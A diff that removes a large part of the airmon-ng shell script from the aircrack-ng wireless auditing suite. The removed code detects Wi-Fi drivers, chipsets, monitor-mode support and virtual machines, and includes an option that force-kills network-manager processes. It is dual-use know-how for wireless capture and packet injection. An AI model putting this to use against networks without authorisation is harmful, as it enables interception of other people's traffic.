-			if [ "$brcm_monitor" = "0" ]; then
-				printf "\n\t\t(experimental wl monitor mode vif already disabled for [${PHYDEV}]${1})\n"
-				return 0
-			fi
-		fi
-		if [ -w "/proc/brcm_monitor0" ]; then
-			printf "0" > /proc/brcm_monitor0
-			if [ "$?" = "0" ]; then
-				printf "\n\t\t(experimental wl monitor mode vif disabled for [${PHYDEV}]${1})\n"
-			else
-				printf "\n\t\t(failed to disable experimental wl monitor mode for [${PHYDEV}${1})\n"
-			fi
-		else
-			printf "\n\tUnable to write to /proc/brcm_monitor0, cannot disable monitor mode.\n"
-		fi
-	else
-		printf "\n\tThis version of wl does not appear to suport monitor mode.\n"
-	fi
-}
-
-getDriver() {
-	#standard detection path, this is all that is needed for proper drivers
-	#DRIVER=$(printf "$ethtool_output" | awk '/driver/ {print $2}')
-
-	#if $(modinfo -n ${DRIVER} > /dev/null 2>&1)
-	#then
-	#	true
-	#else
-	#	unset DRIVER
-	#fi
-
-	#if [ "$DRIVER" = "" ]
-	#then
-		if [ -f /sys/class/net/$1/device/uevent ]; then
-			DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' /sys/class/net/$1/device/uevent)"
-		else
-			#DRIVER we put SOMETHING in DRIVER here if we are unable to find anything real
-			DRIVER="??????"
-		fi
-	#fi
-
-	#here we test for driver usb, ath9k_htc,rt2870, possibly others show this
-	if [ "$DRIVER" = "usb" ]; then
-		printf "Warn ON: USB\n"
-		BUSADDR="$(printf "$ethtool_output" | awk '/bus-info/ {print $2}'):1.0"
-
-		if [ "$DEBUG" = "1" ]; 	then
-			printf "${BUSADDR}\n"
-		fi
-
-		if [ -n "$BUSADDR" ]; then
-			if [ -f /sys/class/net/$1/device/"$BUSADDR"/uevent ]; then
-				DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' /sys/class/net/$1/device/$BUSADDR/uevent)"
-			fi
-		fi
-
-		#here we can normalize driver names we don't like
-		if [ "$DRIVER" = "rt2870" ]; then
-			DRIVER="rt2870sta"
-		fi
-		if [ -f /sys/class/net/$1/device/idProduct ]; then
-			if [ "$(cat /sys/class/net/$1/device/idProduct)" = "3070" ]; then
-				DRIVER="rt3070sta"
-			fi
-		fi
-	fi
-	if [ "$DRIVER" = "rtl8187L" ]; then
-		DRIVER="r8187l"
-	fi
-	if [ "$DRIVER" = "rtl8187" ] && [ "$STACK" = "ieee80211" ]; then
-		DRIVER="r8187"
-	fi
-
-	#Here we will catch the broken lying drivers not caught above
-	#currently this only functions for pci devices and not usb since lsusb has no -k option
-	if [ "${MODINFO}" = "1" ]; then
-		if $(modinfo -n $DRIVER  > /dev/null 2>&1)
-		then
-			true
-		else
-			if [ -n "${DEVICEID}" ] && [ "$BUS" = "pci" ]; then
-				DRIVER="$(lspci -d $DEVICEID -k | awk '/modules/ {print $3}')"
-			fi
-			if [ -n "$DRIVER" ]; then
-				DRIVER="??????"
-			fi
-		fi
-	fi
-	if [ "$DEBUG" = "1" ]; then
-		printf "getdriver() $DRIVER\n"
-	fi
-}
-
-getFrom() {
-	#from detection
-	FROM="K"
-	if [ "${MODINFO}" = "1" ] && [ -f /proc/modules ]; then
-		if modinfo -n $DRIVER 2>&1 | grep -q 'kernel/drivers'
-		then
-			FROM="K"
-			#we add special handling here because we hate the vendor drivers AND they install in the wrong place
-			if [ "$DRIVER" = "r8187" ]; then
-				FROM="V"
-			elif [ "$DRIVER" = "r8187l" ]; then
-				FROM="V"
-			elif [ "$DRIVER" = "rt5390sta" ]; then
-				FROM="V"
-			fi
-		elif modinfo -n $DRIVER 2>&1 | grep -q 'updates/drivers'
-		then
-			FROM="C"
-		elif modinfo -n $DRIVER 2>&1 | grep -q misc
-		then
-			FROM="V"
-		elif modinfo -n $DRIVER 2>&1 | grep -q staging
-		then
-			FROM="S"
-		else
-			FROM="?"
-		fi
-	else
-		FROM="K"
-	fi
-	if [ "$DEBUG" = "1" ]; then
-		printf "getFrom() $FROM\n"
-	fi
-}
-
-getFirmware() {
-	FIRMWARE="$(printf "$ethtool_output" | awk '/firmware-version/ {print $2}')"
-	#ath9k_htc firmware is a shorter version number than most so trap and make it pretty
-	if [ "$DRIVER" = "ath9k_htc" ]; then
-		FIRMWARE="$FIRMWARE\t"
-	fi
-
-	if [ "$FIRMWARE" = "N/A" ]; then
-		FIRMWARE="$FIRMWARE\t"
-	elif [ -z "$FIRMWARE" ]; then
-		FIRMWARE="unavailable"
-	fi
-
-	if [ "$DEBUG" = "1" ]; then
-		printf "getFirmware $FIRMWARE\n"
-	fi
-}
-
-getChipset() {
-	#this needs cleanup, we shouldn't have multiple lines assigning chipset per bus
-	#fix this to be one line per bus
-	if [ -f /sys/class/net/$1/device/modalias ]; then
-		BUS="$(cut -d ":" -f 1 /sys/class/net/$1/device/modalias)"
-		if [ "$BUS" = "usb" ]; then
-			if [ "${LSUSB}" = "1" ]; then
-				BUSINFO="$(cut -d ":" -f 2 /sys/class/net/$1/device/modalias | cut -b 1-10 | sed 's/^.//;s/p/:/')"
-				CHIPSET="$(lsusb -d "$BUSINFO" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
-			elif [ "${LSUSB}" = "0" ]; then
-				printf "Your system doesn't seem to support usb but we found usb hardware, please report this.\n"
-				exit 1
-			fi
-		#yes the below line looks insane, but broadcom appears to define all the internal buses so we have to detect them here
-		elif [ "${BUS}" = "pci" -o "${BUS}" = "pcmcia" ] && [ "${LSPCI}" = "1" ]; then
-			if [ -f /sys/class/net/$1/device/vendor ] && [ -f /sys/class/net/$1/device/device ]; then
-				DEVICEID="$(cat /sys/class/net/$1/device/vendor):$(cat /sys/class/net/$1/device/device)"
-				CHIPSET="$(lspci -d $DEVICEID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
-			else
-				BUSINFO="$(printf "$ethtool_output" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //')"
-				CHIPSET="$(lspci | grep "$BUSINFO" | head -n1 - | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
-				DEVICEID="$(lspci -nn | grep "$BUSINFO" | grep '[[0-9][0-9][0-9][0-9]:[0-9][0-9][0-9][0-9]' -o)"
-			fi
-		elif [ "${BUS}" = "sdio" ]; then
-			if [ -f /sys/class/net/$1/device/vendor ] && [ -f /sys/class/net/$1/device/device ]; then
-				DEVICEID="$(cat /sys/class/net/$1/device/vendor):$(cat /sys/class/net/$1/device/device)"
-			fi
-			if [ "${DEVICEID}" = '0x02d0:0x4330' ]; then
-				CHIPSET='Broadcom 4330'
-			elif [ "${DEVICEID}" = '0x02d0:0x4329' ]; then
-				CHIPSET='Broadcom 4329'
-			elif [ "${DEVICEID}" = '0x02d0:0x4334' ]; then
-				CHIPSET='Broadcom 4334'
-			elif [ "${DEVICEID}" = '0x02d0:0xa94c' ]; then
-				CHIPSET='Broadcom 43340'
-			elif [ "${DEVICEID}" = '0x02d0:0xa94d' ]; then
-				CHIPSET='Broadcom 43341'
-			elif [ "${DEVICEID}" = '0x02d0:0x4324' ]; then
-				CHIPSET='Broadcom 43241'
-			elif [ "${DEVICEID}" = '0x02d0:0x4335' ]; then
-				CHIPSET='Broadcom 4335/4339'
-			elif [ "${DEVICEID}" = '0x02d0:0xa962' ]; then
-				CHIPSET='Broadcom 43362'
-			elif [ "${DEVICEID}" = '0x02d0:0xa9a6' ]; then
-				CHIPSET='Broadcom 43430'
-			elif [ "${DEVICEID}" = '0x02d0:0x4345' ]; then
-				CHIPSET='Broadcom 43455'
-			elif [ "${DEVICEID}" = '0x02d0:0x4354' ]; then
-				CHIPSET='Broadcom 4354'
-			elif [ "${DEVICEID}" = '0x02d0:0xa887' ]; then
-				CHIPSET='Broadcom 43143'
-			else
-				CHIPSET="unable to detect for sdio $DEVICEID"
-			fi
-		else
-			CHIPSET="Not pci, usb, or sdio"
-		fi
-	#we don't do a check for usb here but it is obviously only going to work for usb
-	elif [ -f /sys/class/net/$1/device/idVendor ] && [ -f /sys/class/net/$1/device/idProduct ]; then
-		DEVICEID="$(cat /sys/class/net/$1/device/idVendor):$(cat /sys/class/net/$1/device/idProduct)"
-		if [ "${LSUSB}" = "1" ]; then
-			CHIPSET="$(lsusb | grep -i "$DEVICEID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
-		elif [ "${LSUSB}" = "0" ]; then
-			CHIPSET="idVendor and idProduct found on non-usb device, please report this."
-		fi
-	elif [ "${DRIVER}" = "mac80211_hwsim" ]; then
-		CHIPSET="Software simulator of 802.11 radio(s) for mac80211"
-	elif $(printf "$ethtool_output" | awk '/bus-info/ {print $2}' | grep -q bcma)
-	then
-		BUS="bcma"
-
-		if [ "${DRIVER}" = "brcmsmac" ] || [ "${DRIVER}" = "brcmfmac" ] || [ "${DRIVER}" = "b43" ]; then
-			CHIPSET="Broadcom on bcma bus, information limited"
-		else
-			CHIPSET="Unrecognized driver \"${DRIVER}\" on bcma bus"
-		fi
-	else
-		CHIPSET="non-mac80211 device? (report this!)"
-	fi
-
-	if [ "$DEBUG" = "1" ]; then
-		printf "getchipset() $CHIPSET\n"
-		printf "BUS = $BUS\n"
-		printf "BUSINFO = $BUSINFO\n"
-		printf "DEVICEID = $DEVICEID\n"
-	fi
-}
-
-getStack() {
-	if [ -z "$1" ]; then
-		return
-	fi
-
-	if [ -d /sys/class/net/$1/phy80211/ ]; then
-		MAC80211="1"
-		STACK="mac80211"
-	else
-		MAC80211="0"
-		STACK="ieee80211"
-	fi
-
-	if [ -e /proc/sys/dev/$1/fftxqmin ]; then
-		MAC80211="0"
-		STACK="net80211"
-	fi
-
-	if [ "$DEBUG" = "1" ]; then
-		printf "getStack $STACK\n"
-	fi
-}
-
-getExtendedInfo() {
-	#stuff rfkill info into extended if nothing else is there
-	rfkill_check ${PHYDEV}
-	rfkill_retcode="$?"
-	if [ "${rfkill_retcode}" = "1" ]; then
-		EXTENDED="rfkill soft blocked"
-	elif [ "${rfkill_retcode}" = "2" ]; then
-		EXTENDED="rfkill hard blocked"
-	elif [ "${rfkill_redcode}" = "3" ]; then
-		EXTENDED="rfkill hard and soft blocked"
-	fi
-
-	if [ "$DRIVER" = "??????" ]; then
-		EXTENDED="\t Failure detecting driver properly please report"
-	fi
-
-	#first we set all the real (useful) info we can find
-	if [ -f /sys/class/net/$1/device/product ]; then
-		EXTENDED="\t$(cat /sys/class/net/$1/device/product)"
-	fi
-
-	#then we sweep for known broken drivers with no available better drivers
-	if [ "$DRIVER" = "wl" ]; then
-		if [ -f "/proc/brcm_monitor0" ]; then
-			EXTENDED="Experimental monitor mode support"
-		else
-			EXTENDED="No known monitor support, try a newer version or b43"
-		fi
-	fi
-	if [ "$DRIVER" = "brcmsmac" ]; then
-		EXTENDED="Driver commonly referred to as brcm80211 (no injection yet)"
-	fi
-	if [ "$DRIVER" = "r8712u" ]; then
-		EXTENDED="\t\t\t\tNo monitor or injection support"
-	fi
-
-	#lastly we detect all the broken drivers which have working alternatives
-	KV="$(uname -r | awk -F'-' '{print $1}')"
-	KVMAJOR="$(printf ${KV} | awk -F'.' '{print $1$2}')"
-	KVMINOR="$(printf ${KV} | awk -F'.' '{print $3}')"
-
-	if [ $KVMAJOR -lt 26 ]; then
-		printf "You are running a kernel older than 2.6, I'm surprised it didn't error before now."
-	        if [ "$DEBUG" = "1" ]; then
-			printf "${KVMAJOR} ${KVMINOR}\n"
-		fi
-		exit 1
-	fi
-
-	if [ "$DRIVER" = "rt2870sta" ];	then
-		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "35" ]; then
-			EXTENDED="\tBlacklist rt2870sta and use rt2800usb"
-		else
-			EXTENDED="\tUpgrade to kernel 2.6.35 or install compat-wireless stable"
-		fi
-		#add in a flag for "did you tell use to do X" and emit instructions
-	elif [ "$DRIVER" = "rt3070sta" ]; then
-		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "35" ]; then
-			EXTENDED="\tBlacklist rt3070sta and use rt2800usb"
-		else
-			EXTENDED="\tUpgrade to kernel 2.6.35 or install compat-wireless stable"
-		fi
-	elif [ "$DRIVER" = "rt5390sta" ]; then
-		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "39" ]; then
-			EXTENDED="\tBlacklist rt5390sta and use rt2800usb"
-		else
-			EXTENDED="\tUpgrade to kernel 2.6.39 or install compat-wireless stable"
-		fi
-	elif [ "$DRIVER" = "ar9170usb" ]; then
-		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "37" ]; then
-			EXTENDED="\tBlacklist ar9170usb and use carl9170"
-		else
-			EXTENDED="\tUpgrade to kernel 2.6.37 or install compat-wireless stable"
-		fi
-	elif [ "$DRIVER" = "arusb_lnx" ]; then
-		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "37" ]; then
-			EXTENDED="\tBlacklist arusb_lnx and use carl9170"
-		else
-			EXTENDED="\tUpgrade to kernel 2.6.37 or install compat-wireless stable"
-		fi
-	elif [ "$DRIVER" = "r8187" ]; then
-		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "29" ]; then
-			EXTENDED="\t\tBlacklist r8187 and use rtl8187 from the kernel"
-		else
-			EXTENDED="\t\tUpgrade to kernel 2.6.29 or install compat-wireless stable"
-		fi
-	elif [ "$DRIVER" = "r8187l" ]; then
-		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "29" ]; then
-			EXTENDED="\t\tBlacklist r8187l and use rtl8187 from the kernel"
-		else
-			EXTENDED="\t\tUpgrade to kernel 2.6.29 or install compat-wireless stable"
-		fi
-	fi
-}
-
-scanProcesses() {
-	#this test means it errored and said it was busybox since busybox doesn't print without error
-	if (ps -A 2>&1 | grep -q BusyBox)
-	then
-		#busybox in openwrt cannot handle -A but its output by default is -A
-		psopts=""
-	else
-		psopts="-A"
-	fi
-	if ( ps -o comm= 2>&1 | grep -q BusyBox )
-	then
-		#busybox in openwrt cannot handle -o
-		pso="0"
-	else
-		pso="1"
-	fi
-
-	PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|udhcpc\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox"
-	#PS_ERROR="invalid\|illegal"
-
-	if [ -x "$(command -v service 2>&1)" ] && [ "$1" = "kill" ]; then
-		service network-manager stop 2> /dev/null > /dev/null
-		service NetworkManager stop 2> /dev/null > /dev/null
-		service avahi-daemon stop 2> /dev/null > /dev/null
-	fi
-
-	unset match
-	if [ "${pso}" = 1 ]; then
-		match="$(ps ${psopts} -o comm= | grep -c ${PROCESSES})"
-	elif [ "${pso}" = 0 ]; then
-		#openwrt busybox grep hits on itself so we -v it out
-		match="$(ps ${psopts} | grep -c ${PROCESSES} | grep -v grep)"
-	fi
-	if [ ${match} -gt 0 ] && [ "${1}" != "kill" ]; then
-		printf "Found $match processes that could cause trouble.\n"
-		printf "If airodump-ng, aireplay-ng or airtun-ng stops working after\n"
-		printf "a short period of time, you may want to run 'airmon-ng check kill'\n\n"
-	else
-		if [ "${1}" != "kill" ] && [ -n "${1}" ]; then
-			printf "No interfering processes found\n"
-			return
-		fi
-	fi
-
-	if [ ${match} -gt 0 ]; then
-		if [ "${1}" = "kill" ]; then
-			printf "Killing these processes:\n\n"
-		fi
-		if [ "${pso}" = "1" ]; then
-			ps ${psopts} -o pid=PID -o comm=Name | grep "${PROCESSES}\|PID"
-		else
-			#openwrt busybox grep hits on itself so we -v it out
-			ps ${psopts} | grep "${PROCESSES}\|PID | grep -v grep"
-		fi
-		if [ "${1}" = "kill" ]; then
-			#we have to use signal 9 because things like nm actually respawn wpa_supplicant too quickly
-			if [ "${pso}" = "1" ]; then
-				for pid in $(ps ${psopts} -o pid= -o comm= | grep ${PROCESSES} | awk '{print $1}'); do
-					kill -9 ${pid}
-				done
-			else
-				#openwrt busybox grep hits on itself so we -v it out
-				for pid in $(ps ${psopts} | grep ${PROCESSES} | grep -v grep | awk '{print $1}'); do
-					kill -9 ${pid}
-				done
-			fi
-		fi
-	fi
-
-	#i=1
-	#while [ $i -le $match ]
-	#do
-	#	pid=$(ps ${psopts} -o pid= -o comm= | grep $PROCESSES | head -n $i | tail -n 1 | awk '{print $1}')
-	#	pname=$(ps ${psopts} -o pid= -o comm= | grep $PROCESSES | head -n $i | tail -n 1 | awk '{print $2}')
-	#	if [ x"$1" != "xkill" ]
-	#	then
-	#		printf "${pid}\t${pname}\n"
-	#	else
-	#		kill ${pid}
-	#	fi
-	#	i=$(($i+1))
-	#done
-
-	printf "\n"
-
-	#this stub is for checking against the interface name, but since it almost never hits why bother?
-	#if [ x"${1}" != "x" -a x"${1}" != "xkill" ]
-	#then
-	#	#the next line doesn't work on busybox ps because -p is unimplimented
-	#	match2=$(ps -o comm= -p 1 2>&1 | grep $PS_ERROR -c)
-	#	if [ ${match2} -gt 0 ]
-	#	then
-	#		return
-	#	fi
-	#
-	#	for i in $(ps auxw | grep ${1} | grep -v "grep" | grep -v "airmon-ng" | awk '{print $2}')
-	#	do
-	#		pname=$(ps -o comm= -p ${i})
-	#		printf "Process with PID ${i} ($pname) is running on interface ${1}\n"
-	#	done
-	#fi
-}
-
-listInterfaces() {
-	unset iface_list
-	for iface in $(ls -1 /sys/class/net)
-	do
-		if [ -f /sys/class/net/${iface}/uevent ]; then
-			if $(grep -q DEVTYPE=wlan /sys/class/net/${iface}/uevent)
-			then
-				iface_list="${iface_list}\n ${iface}"
-			fi
-		fi
-	done
-	if [ -x "$(command -v iwconfig 2>&1)" ] && [ -x "$(command -v sort 2>&1)" ]; then
-		for iface in $(iwconfig 2> /dev/null | sed 's/^$[a-zA-Z0-9_.]*$ .*/\1/'); do
-			iface_list="${iface_list}\n ${iface}"
-		done
-		iface_list="$(printf "${iface_list}" | sort -bu)"
-	fi
-}
-
-getPhy() {
-	if [ -z "$1" ];	then
-		return
-	fi
-
-	if [ $MAC80211 = "0" ]; then
-		PHYDEV="null"
-		return
-	fi
-
-	if [ -r /sys/class/net/$1/phy80211/name ]; then
-		PHYDEV="$(cat /sys/class/net/$1/phy80211/name)"
-	fi
-	if [ -d /sys/class/net/$1/phy80211/ ] && [ -z "${PHYDEV}" ]; then
-
-		PHYDEV="$(ls -l "/sys/class/net/$1/phy80211" | sed 's/^.*\/$[a-zA-Z0-9_-]*$$/\1/')"
-	fi
-}
-
-checkvm() {
-	#this entire section of code is completely stolen from Carlos Perez's work in checkvm.rb for metasploit and rewritten (poorly) in sh
-	#Check dmi info
-	if [ -x "$(command -v dmidecode 2>&1)" ]; then
-		dmi_info=$(dmidecode 2>&1)
-		if [ -n "${dmi_info}" ]; then
-			printf "${dmi_info}" | grep -iq "microsoft corporation" 2> /dev/null && vm="MS Hyper-V"
-			printf "${dmi_info}" | grep -iq "vmware" 2> /dev/null && vm="VMware"
-			printf "${dmi_info}" | grep -iq "virtualbox" 2> /dev/null && vm="VirtualBox"
-			printf "${dmi_info}" | grep -iq "qemu" 2> /dev/null && vm="Qemu/KVM"
-			printf "${dmi_info}" | grep -iq "domu" 2> /dev/null && vm="Xen"
-			[ -n "${vm}" ] && vm_from="dmi_info"
-		fi
-	fi
-
-	#check loaded modules
-	if [ -z "${vm_from}" ]; then
-		if [ -x "$(command -v lsmod 2>&1)" ]; then
-			lsmod_data="$(lsmod 2>&1)"
-			if [ -n "${lsmod}" ]; then
-				printf "${lsmod_data}" | grep -iqE "vboxsf|vboxguest" 2> /dev/null && vm="VirtualBox"
-				printf "${lsmod_data}" | grep -iqE "vmw_ballon|vmxnet|vmw" 2> /dev/null && vm="VMware"
-				printf "${lsmod_data}" | grep -iqE "xen-vbd|xen-vnif" 2> /dev/null && vm="Xen"
-				printf "${lsmod_data}" | grep -iqE "virtio_pci|virtio_net" 2> /dev/null && vm="Qemu/KVM"
-				printf "${lsmod_data}" | grep -iqE "hv_vmbus|hv_blkvsc|hv_netvsc|hv_utils|hv_storvsc" && vm="MS Hyper-V"
-				[ -n "${vm}" ] && vm_from="lsmod"
-			fi
-		fi
-	fi
-
-	#check scsi driver
-	if [ -z "${vm_from}" ]; then
-		if [ -r /proc/scsi/scsi ]; then
-			grep -iq "vmware" /proc/scsi/scsi 2> /dev/null && vm="VMware"
-			grep -iq "vbox" /proc/scsi/scsi 2> /dev/null && vm="VirtualBox"
-			[ -n "${vm}" ] && vm_from="/pro/scsi/scsi"
-		fi
-	fi
-
-	# Check IDE Devices
-	if [ -z "${vm_from}" ];	then
-		if [ -d /proc/ide ]; then
-			ide_model="$(cat /proc/ide/hd*/model)"
-			printf "${ide_model}" | grep -iq "vbox" 2> /dev/null && vm="VirtualBox"
-			printf "${ide_model}" | grep -iq "vmware" 2> /dev/null && vm="VMware"
-			printf "${ide_model}" | grep -iq "qemu" 2> /dev/null && vm="Qemu/KVM"
-			printf "${ide_model}" | grep -iqE "virtual (hd|cd)" 2> /dev/null && vm="Hyper-V/Virtual PC"
-			[ -n "${vm}" ] && vm_from="ide_model"
-		fi
-	fi
-
-	# Check using lspci
-	if [ -z "${vm_from}" ] && [ "${LSPCI}" = "1" ]; then
-			lspci_data="$(lspci 2>&1)"
-			printf "${lspci_data}" | grep -iq "vmware" 2> /dev/null && vm="VMware"
-			printf "${lspci_data}" | grep -iq "virtualbox" 2> /dev/null && vm="VirtualBox"
-			[ -n "${vm}" ] && vm_from="lspci"
-	fi
-
-	# Xen bus check
-	## XXX: Removing unsafe check
-	# this check triggers if CONFIG_XEN_PRIVILEGED_GUEST=y et al are set in kconfig (debian default) even in not actually a guest
-	#if [ -z ${vm} ]
-	#then
-	#	ls -1 /sys/bus | grep -iq "xen" 2> /dev/null && vm="Xen"
-	#	vm_from="/sys/bus/xen"
-	#fi
-
-	# Check using lscpu
-	if [ -z "${vm_from}" ]; then
-		if [ -x "$(command -v lscpu 2>&1)" ]; then
-                        lscpu_data="$(lscpu 2>&1)"
-			printf "${lscpu_data}" | grep -iq "Xen" 2> /dev/null && vm="Xen"
-			printf "${lscpu_data}" | grep -iq "KVM" 2> /dev/null && vm="KVM"
-			printf "${lscpu_data}" | grep -iq "Microsoft" 2> /dev/null && vm="MS Hyper-V"
-			[ -n "${vm}" ] && vm_from="lscpu"
-		fi
-	fi
-
-	#Check vmnet
-	if [ -z "${vm_from}" ]; then
-		if [ -e /dev/vmnet ]; then
-			vm="VMware"
-			vm_from="/dev/vmnet"
-		fi
-	fi
-
-	# Check dmesg Output
-	if [ -z "${vm_from}" ]; then
-		if [ -x "$(command -v dmesg 2>&1)" ]; then
-			dmesg | grep -iqE "vboxbios|vboxcput|vboxfacp|vboxxsdt|(vbox cd-rom)|(vbox harddisk)" && vm="VirtualBox"
-			dmesg | grep -iqE "(vmware virtual ide)|(vmware pvscsi)|(vmware virtual platform)" && vm="VMware"
-			dmesg | grep -iqE "(xen_mem)|(xen-vbd)" && vm="Xen"
-			dmesg | grep -iqE "(qemu virtual cpu version)" && vm="Qemu/KVM"
-			[ -n "${vm}" ] && vm_from="dmesg"
-		fi
-	fi
-	checkvm_status="run"
-}
-
-#end function definitions
-#begin execution
-
-#here we check for any phys that have no interfaces to pick up The Lost Phys
-handleLostPhys
-
-listInterfaces
-
-if [ "${1}" = "check" ] || [ "${1}" = "start" ]; then
-	if [ "${2}" = "kill" ]; then
-		#if we are killing, tell scanProcesses that
-		scanProcesses "${2}"
-		exit
-	elif [ "${1}" = "start" ]; then
-		#this stub can send scanProcesses the interface name
-		#but this seems entirely unreliable so just run generic
-		#scanProcesses "${2}"
-		scanProcesses
-	else
-		scanProcesses
-		exit
-	fi
-fi
-
-if [ "$#" != "0" ]; then
-	if [ "$1" != "start" ] && [ "$1" != "stop" ]; then
-		usage
-	fi
-
-	if [ -z "$2" ]; then
-		usage
-	fi
-fi
-
-#startup checks complete, headers then main
-
-if [ "$DEBUG" = "1" ]; then
-	if [ -x "$(command -v readlink 2>&1)" ]; then
-		printf "/bin/sh -> $(readlink -f /bin/sh)\n"
-		if $(readlink -f /bin/sh) --version > /dev/null 2>&1
-		then
-			printf "$($(readlink -f /bin/sh) --version)\n"
-		fi
-	else
-		ls -l /bin/sh
-		if /bin/sh --version > /dev/null 2>&1
-		then
-			/bin/sh --version
-		fi
-	fi
-	if [ -n "$SHELL" ]; then
-		if $SHELL --version > /dev/null 2>&1
-		then
-			printf "\nSHELL is $($SHELL --version)\n\n"
-		else
-			printf "\nSHELL is $SHELL\n\n"
-		fi
-	fi
-fi
-if [ "$VERBOSE" = "1" ]; then
-	lsb_release -a
-	printf "\n"
-	uname -a
-
-	checkvm
-	if [ -n "${vm}" ]; then
-		printf "Detected VM using ${vm_from}\n"
-		printf "This appears to be a ${vm} Virtual Machine\n"
-		printf "If your system supports VT-d, it may be possible to use PCI devices\n"
-		printf "If your system does not support VT-d, you can only use USB wifi cards\n"
-	fi
-
-	printf "\nK indicates driver is from $(uname -r)\n"
-	if [ "${MODPROBE}" = "1" ]; then
-		modprobe compat > /dev/null 2>&1
-
-		if [ -r /sys/module/compat/parameters/compat_version ]; then
-			printf "C indicates driver is from $(cat /sys/module/compat/parameters/compat_version)\n"
-		fi
-	fi
-	printf "V indicates driver comes directly from the vendor, almost certainly a bad thing\n"
-	printf "S indicates driver comes from the staging tree, these drivers are meant for reference not actual use, BEWARE\n"
-	printf "? indicates we do not know where the driver comes from... report this\n\n"
-fi
-
-if [ "${VERBOSE}" = "1" ]; then
-	printf "\nX[PHY]Interface\t\tDriver[Stack]-FirmwareRev\t\tChipset\t\t\t\t\t\t\t\t\t\tExtended Info\n\n"
-else
-	printf "PHY\tInterface\tDriver\t\tChipset\n\n"
-fi
-
-#this whole block of code shouldn't be here, it makes no sense
-#per shellcheck, this block is broken as it runs the loops once with iface=listIfaceUnspec instead of the output of listIFaceUnspec
-#for iface in listIfaceUnspec; do
-#
-#	if [ -e "/proc/sys/dev/$iface/fftxqmin" ]
-#	then
-#		setLink ${iface} up
-#		printf "$iface\t\tAtheros\t\tmadwifi-ng"
-#		if [ x$1 = "xstart" ] && [ x$2 = x$iface ]
-#		then
-#			IFACE=$(wlanconfig ath create wlandev $iface wlanmode monitor -bssid | grep ath)
-#			setLink ${iface} up
-#			if [ $CH -lt 1000 ]
-#			then
-#				iwconfig $IFACE channel $CH 2> /dev/null > /dev/null
-#			else
-#				iwconfig $IFACE freq "$CH"000000 2> /dev/null > /dev/null
-#			fi
-#		setLink ${IFACE} up
-#		UDEV_ISSUE=$?
-#		fi
-#
-#		if [ x$1 = "xstop" ] && [ x$2 = x$iface ]
-#		then
-#			printf "$iface does not support 'stop', do it on ath interface\n"
-#		fi
-#
-#		#why, dear god why is there a random newline here?
-#		printf "\n"
-#		sleep 1
-#		continue
-#	fi
-#done
-#end random block of code that needs to die
-
-for iface in $(printf "${iface_list}"); do
-	unset ethtool_output DRIVER FROM FIRMWARE STACK MADWIFI MAC80211 BUS BUSADDR BUSINFO DEVICEID CHIPSET EXTENDED PHYDEV ifacet DRIVERt FIELD1 FIELD1t FIELD2 FIELD2t CHIPSETt
-	#add a RUNNING check here and up the device if it isn't already
-	ethtool_output="$(ethtool -i $iface 2>&1)"
-	if [ "$ethtool_output" != "Cannot get driver information: Operation not supported" ]; then
-		getStack  ${iface}
-		getPhy     ${iface}
-		getDriver   ${iface}
-		getChipset ${iface}
-		if [ "${VERBOSE}" = "1" ]; then
-			getFrom ${iface}
-			getFirmware ${iface}
-			getExtendedInfo ${iface}
-		fi
-	else
- 		printf "\nethtool failed...\n"
-		printf "Only mac80211 devices on kernel 2.6.33 or higher are officially supported by airmon-ng.\n"
-		exit 1
-	fi
-
-	#yes this really is the main output loop
-	if [ "${VERBOSE}" = "1" ]; then
-		#beautify output spacing (within reason)
-		FIELD1="${FROM}[${PHYDEV}]${iface}"
-		if [ ${#FIELD1} -gt 15 ]; then
-			FIELD1t="\t"
-		else
-			FIELD1t="\t\t"
-		fi
-		FIELD2="${DRIVER}[${STACK}]-${FIRMWARE}"
-		if [ ${#FIELD2} -gt 28 ]; then
-			FIELD2t="\t"
-		else
-			FIELD2t="\t\t"
-		fi
-		if [ -n "${EXTENDED}" ]; then
-			CHIPSETt="\t\t\t\t\t\t\t\t\t\t"
-			if [ ${#CHIPSET} -gt 70 ]; then
-				CHIPSETt="\t"
-			elif [ ${#CHIPSET} -gt 63 ]; then
-				CHIPSETt="\t\t"
-			elif [ ${#CHIPSET} -gt 56 ]; then
-				CHIPSETt="\t\t\t"
-			elif [ ${#CHIPSET} -gt 49 ]; then
-				CHIPSETt="\t\t\t\t"
-			elif [ ${#CHIPSET} -gt 39 ]; then
-				CHIPSETt="\t\t\t\t\t"
-			elif [ ${#CHIPSET} -gt 35 ]; then
-				CHIPSETt="\t\t\t\t\t\t"
-			elif [ ${#CHIPSET} -gt 28 ]; then
-				CHIPSETt="\t\t\t\t\t\t\t"
-			elif [ ${#CHIPSET} -gt 21 ]; then
-				CHIPSETt="\t\t\t\t\t\t\t\t"
-			elif [ ${#CHIPSET} -gt 14 ]; then
-				CHIPSETt="\t\t\t\t\t\t\t\t\t"
-			fi
-		fi
-		printf "${FROM}[${PHYDEV}]${iface}${FIELD1t}${DRIVER}[${STACK}]-${FIRMWARE}${FIELD2t}${CHIPSET}${CHIPSETt}${EXTENDED}\n"
-	else
-		#beautify output spacing (within reason, interface/driver max length is 15 and phy max length is 7))
-		if [ ${#DRIVER} -gt 7 ]; then
-			DRIVERt="\t"
-		else
-			DRIVERt="\t\t"
-		fi
